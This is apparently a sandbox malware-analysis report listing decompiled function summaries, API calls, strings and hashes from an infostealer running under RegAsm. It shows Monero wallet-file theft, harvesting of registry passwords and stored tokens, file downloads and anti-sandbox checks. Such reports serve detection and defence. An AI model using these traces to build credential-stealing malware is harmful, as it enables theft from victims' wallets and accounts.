Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Openlstrcpy$Enumwsprintf
String ID: - $%s\%s$?
API String ID: 2731306069-3278919252
Opcode ID: 510c45c455e6bc88fad200d1259bbb7ccca656e42c71fef384590b0395d7cec4
Instruction ID: 7e933c005afce5063b6ac28d37290dd0de40035e7daa9b78ce1efab2f7c43410
Opcode Fuzzy Hash: 510c45c455e6bc88fad200d1259bbb7ccca656e42c71fef384590b0395d7cec4
Instruction Fuzzy Hash: 3581197191111CABDB28DB54CC85FEAB7B9BF08314F0082D9E10AA6190DF756BC9CFA5

Function 00401310 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 139stringfileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00401327

Part of subcall function 004012A0: GetProcessHeap.KERNEL32(00000000,00000104,80000001), ref: 004012B4
Part of subcall function 004012A0: HeapAlloc.KERNEL32(00000000), ref: 004012BB
Part of subcall function 004012A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 004012D7
Part of subcall function 004012A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,000000FF,000000FF), ref: 004012F5

lstrcat.KERNEL32(?,00000000), ref: 0040134F
lstrlenA.KERNEL32(?), ref: 0040135C
lstrcat.KERNEL32(?,.keys), ref: 00401377

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00418600: GetSystemTime.KERNEL32(?,00C50CB8,0042059E,?,?,?,?,?,?,?,?,?,004049B3,?,00000014), ref: 00418626

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

CopyFileA.KERNEL32(?,00000000,00000001,00000000,?,00C51D10,?,00000000,\Monero\wallet.keys,00420DFF), ref: 00401465

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00409A10: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00409A3C
Part of subcall function 00409A10: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00409A61
Part of subcall function 00409A10: LocalAlloc.KERNEL32(00000040,?), ref: 00409A81
Part of subcall function 00409A10: ReadFile.KERNEL32(000000FF,?,00000000,00410127,00000000), ref: 00409AAA
Part of subcall function 00409A10: LocalFree.KERNEL32(00410127), ref: 00409AE0
Part of subcall function 00409A10: CloseHandle.KERNEL32(000000FF), ref: 00409AEA

DeleteFileA.KERNEL32(00000000), ref: 004014EF
memset.MSVCRT ref: 00401516

Strings

wallet_path, xrefs: 00401330
\Monero\wallet.keys, xrefs: 0040138D
.keys, xrefs: 0040136B
SOFTWARE\monero-project\monero-core, xrefs: 00401335

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Filelstrcpy$lstrcat$AllocHeapLocallstrlenmemset$CloseCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 2296077492-218353709
Opcode ID: 35bd72a9113463a367d23b3699422e00cacb29ac60c05851abf7d94b364ceda1
Instruction ID: 953294376e47f8e4316e7e62fd6b04658e6323c3fb6fa537345fd6b82421038a
Opcode Fuzzy Hash: 35bd72a9113463a367d23b3699422e00cacb29ac60c05851abf7d94b364ceda1
Instruction Fuzzy Hash: 395175B1D5011867CB14EB61DC96FED733CAF50314F4041ADB60A62092EE786BD9CFAA

Function 004060F0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A170: lstrcpy.KERNEL32(?,00000000), ref: 0041A1B6

Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 0040483A
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404851
Part of subcall function 00404800: ??2@YAPAXI@Z.MSVCRT(00000800), ref: 00404868
Part of subcall function 00404800: lstrlenA.KERNEL32(00000000,00000000,0000003C), ref: 00404889
Part of subcall function 00404800: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404899

InternetOpenA.WININET(00420DE2,00000001,00000000,00000000,00000000), ref: 0040615F
StrCmpCA.SHLWAPI(?,00C52860), ref: 00406197
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 004061DF
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00406203
InternetReadFile.WININET(q&A,?,00000400,?), ref: 0040622C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0040625A
CloseHandle.KERNEL32(?,?,00000400), ref: 00406299
InternetCloseHandle.WININET(q&A), ref: 004062A3
InternetCloseHandle.WININET(00000000), ref: 004062B0

Strings

q&A, xrefs: 0040629F, 00406228, 0040622B, 004062A2
q&A, xrefs: 00406100, 004061CF, 004062B6, 00406174, 00406103

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Internet$??2@CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: q&A$q&A
API String ID: 4287319946-3681770271
Opcode ID: fdcbe641894ecd95402b57cbfc0127933b6431a3ef589c1e2230ded5e4bc1f6b
Instruction ID: 439f38139d03757dc0e639f6b6df0271613160f362a72270d2c4ade6ce016e72
Opcode Fuzzy Hash: fdcbe641894ecd95402b57cbfc0127933b6431a3ef589c1e2230ded5e4bc1f6b
Instruction Fuzzy Hash: C15161B1A00218ABDB20EF50CD49FEE7779AF44305F1081ADB606B71C1DB786A95CF99

Function 00407610 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00407310: memset.MSVCRT ref: 00407354
Part of subcall function 00407310: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
Part of subcall function 00407310: RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
Part of subcall function 00407310: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
Part of subcall function 00407310: GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
Part of subcall function 00407310: HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

lstrcat.KERNEL32(2D328020,004217A0), ref: 00407646
lstrcat.KERNEL32(2D328020,00000000), ref: 00407688
lstrcat.KERNEL32(2D328020, : ), ref: 0040769A
lstrcat.KERNEL32(2D328020,00000000), ref: 004076CF
lstrcat.KERNEL32(2D328020,004217A8), ref: 004076E0
lstrcat.KERNEL32(2D328020,00000000), ref: 00407713
lstrcat.KERNEL32(2D328020,004217AC), ref: 0040772D
task.LIBCPMTD ref: 0040773B

Strings

: , xrefs: 0040768E

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuememsettask
String ID: :
API String ID: 3191641157-3653984579
Opcode ID: 01f6e0b9d01338581c6780d1ba8399ef7ff2db0f8ea6736abd4eb07c3ea6ac61
Instruction ID: 05ed671df160738881f441edec20510396de118aefbcae7eba62044a73751e2f
Opcode Fuzzy Hash: 01f6e0b9d01338581c6780d1ba8399ef7ff2db0f8ea6736abd4eb07c3ea6ac61
Instruction Fuzzy Hash: FC318476D00509EBCB14EBA0DD45DEF7779AF94304F14402EF502772A0CA38A946CFA9

Function 00407310 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00407354
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,00407CD0), ref: 0040737A
RegEnumValueA.ADVAPI32(00407CD0,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 004073F1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 0040744D
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407492
HeapFree.KERNEL32(00000000,?,?,?,?,00407CD0,80000001,00415CA4,?,?,?,?,?,00407CD0,?), ref: 00407499

Part of subcall function 00409290: vsprintf_s.MSVCRT ref: 004092AB

task.LIBCPMTD ref: 00407595

Strings

Password, xrefs: 00407441

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction ID: 975b1f2fff90f96d03099a1470760af69fc6b50b1064dc5ad3510b71ddc5061f
Opcode Fuzzy Hash: e183b5279ab9e6df2eb167b03a4cc02d75207c5ff0d2bc4bafbb891a8174e7a2
Instruction Fuzzy Hash: 52613DB5D041689BDB24DF50CC41BDAB7B8BF48304F0081EAE689A6181DFB46BC9CF95

Function 00416FA0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00416FE2
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041701F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004170A3
HeapAlloc.KERNEL32(00000000), ref: 004170AA
wsprintfA.USER32 ref: 004170E0

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Strings

C, xrefs: 00416FEC
:, xrefs: 00416FFC
\, xrefs: 00417000

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: b8d4498c9ef52ac0e7ff8a74a815c8f3508d9b1454889a6f46a668afd64d8a13
Instruction ID: 54c0e4e4c236f1d7f0585d8ba6b1fa909b8b3bfc40374ef6a46e6daa0de72561
Opcode Fuzzy Hash: b8d4498c9ef52ac0e7ff8a74a815c8f3508d9b1454889a6f46a668afd64d8a13
Instruction Fuzzy Hash: 1341B1B1D04248EBDB20DFA4CC45BEEBBB8AF08714F14009DF50967281D7786A84CBA9

Function 00417BA0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,00C51C38,00000000,?,00420DFC,00000000,?,00000000), ref: 00417BD0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00000000,00000000,?,00C51C38,00000000,?,00420DFC,00000000,?,00000000,00000000), ref: 00417BD7
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00417BF8
__aulldiv.LIBCMT ref: 00417C12
__aulldiv.LIBCMT ref: 00417C20
wsprintfA.USER32 ref: 00417C4C

Strings

@, xrefs: 00417BED
%d MB, xrefs: 00417C43

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction ID: f6ead53c39b4582a22ff827f4f83d0c2aee1884270de42e44796eba59a74ffdb
Opcode Fuzzy Hash: a22fd26a20c89c12fe6cfaaf614cf5a2958407047c3d7a896a6bd652d51aa950
Instruction Fuzzy Hash: AD218CF1E44218ABDB10DFD8CC49FAEB7B9FB08B14F104509F605BB280D77869018BA9

Function 0040B8E0 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Part of subcall function 00409E60: memcmp.MSVCRT(0040B741,v10,00000003), ref: 00409E7B
Part of subcall function 00409E60: memset.MSVCRT ref: 00409EAE
Part of subcall function 00409E60: LocalAlloc.KERNEL32(00000040,?), ref: 00409EFE

lstrlenA.KERNEL32(00000000), ref: 0040BADD

Part of subcall function 004188D0: LocalAlloc.KERNEL32(00000040,-00000001), ref: 004188F2

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040BB0B
lstrlenA.KERNEL32(00000000), ref: 0040BBE3
lstrlenA.KERNEL32(00000000), ref: 0040BBF7

Strings

AccountTokens, xrefs: 0040B91A
SELECT service, encrypted_token FROM token_service, xrefs: 0040BA4B
AccountId, xrefs: 0040BB02
AccountTokens, xrefs: 0040B9A9

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: 7e8853a93b14599ac83e542f5224995fc26312752b0488732bf05ef3e13e3aee
Instruction ID: 210edd3ff24f1e31e7376af0b8f6dc5aafa9379f597eea4b8f30950ff7929db6
Opcode Fuzzy Hash: 7e8853a93b14599ac83e542f5224995fc26312752b0488732bf05ef3e13e3aee
Instruction Fuzzy Hash: 32A16271911108ABCF14FBA1DC56EEE7339AF54318F40416EF40772191EF786A98CBAA

Function 00416490 Relevance: 10.6, APIs: 7, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00C3F3C0), ref: 004192B1
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00C3F330), ref: 004192CA
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00C3F3D8), ref: 004192E2
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00C3F408), ref: 004192FA
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00C3F360), ref: 00419313
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00C42EC0), ref: 0041932B
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00C428C0), ref: 00419343
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00C42760), ref: 0041935C
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00C3F438), ref: 00419374
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00C3F258), ref: 0041938C
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00C3F378), ref: 004193A5
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00C3F540), ref: 004193BD
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00C42920), ref: 004193D5
Part of subcall function 00419270: GetProcAddress.KERNEL32(74DD0000,00C3F4F8), ref: 004193EE

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 004011D0: CreateDCA.GDI32(00C4AB88,00000000,00000000,00000000), ref: 004011E2
Part of subcall function 004011D0: GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
Part of subcall function 004011D0: ReleaseDC.USER32(00000000,?), ref: 00401200
Part of subcall function 004011D0: ExitProcess.KERNEL32 ref: 00401211

Part of subcall function 00401160: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004164B7,00420ADA), ref: 0040116A
Part of subcall function 00401160: ExitProcess.KERNEL32 ref: 0040117E

Part of subcall function 00401110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004164BC), ref: 0040112B
Part of subcall function 00401110: VirtualAllocExNuma.KERNEL32(00000000,?,?,004164BC), ref: 00401132
Part of subcall function 00401110: ExitProcess.KERNEL32 ref: 00401143

Part of subcall function 00401220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 0040123E
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401258
Part of subcall function 00401220: __aulldiv.LIBCMT ref: 00401266
Part of subcall function 00401220: ExitProcess.KERNEL32 ref: 00401294

Part of subcall function 00416210: GetUserDefaultLangID.KERNEL32(?,?,004164C6,00420ADA), ref: 00416214

GetUserDefaultLCID.KERNEL32 ref: 004164C6

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011C6

Part of subcall function 004172F0: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
Part of subcall function 004172F0: HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
Part of subcall function 004172F0: GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Part of subcall function 00417380: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004164CB), ref: 004173B0
Part of subcall function 00417380: HeapAlloc.KERNEL32(00000000,?,?,?,004164CB), ref: 004173B7
Part of subcall function 00417380: GetComputerNameA.KERNEL32(?,00000104), ref: 004173CF

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00C4AC18,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 0041656A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00416588
CloseHandle.KERNEL32(00000000), ref: 00416599
Sleep.KERNEL32(00001770), ref: 004165A4
CloseHandle.KERNEL32(?,00000000,?,00C4AC18,?,004210DC,?,00000000,?,004210E0,?,00000000,00420ADA), ref: 004165BA
ExitProcess.KERNEL32 ref: 004165C2

Memory Dump Source

Source File: 00000002.00000002.1853816694.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.1853816694.000000000043C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000046A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000493000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000049F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004C4000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004D1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004F1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.00000000004FD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.0000000000583000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000059C000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1853816694.000000000063E000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Similarity

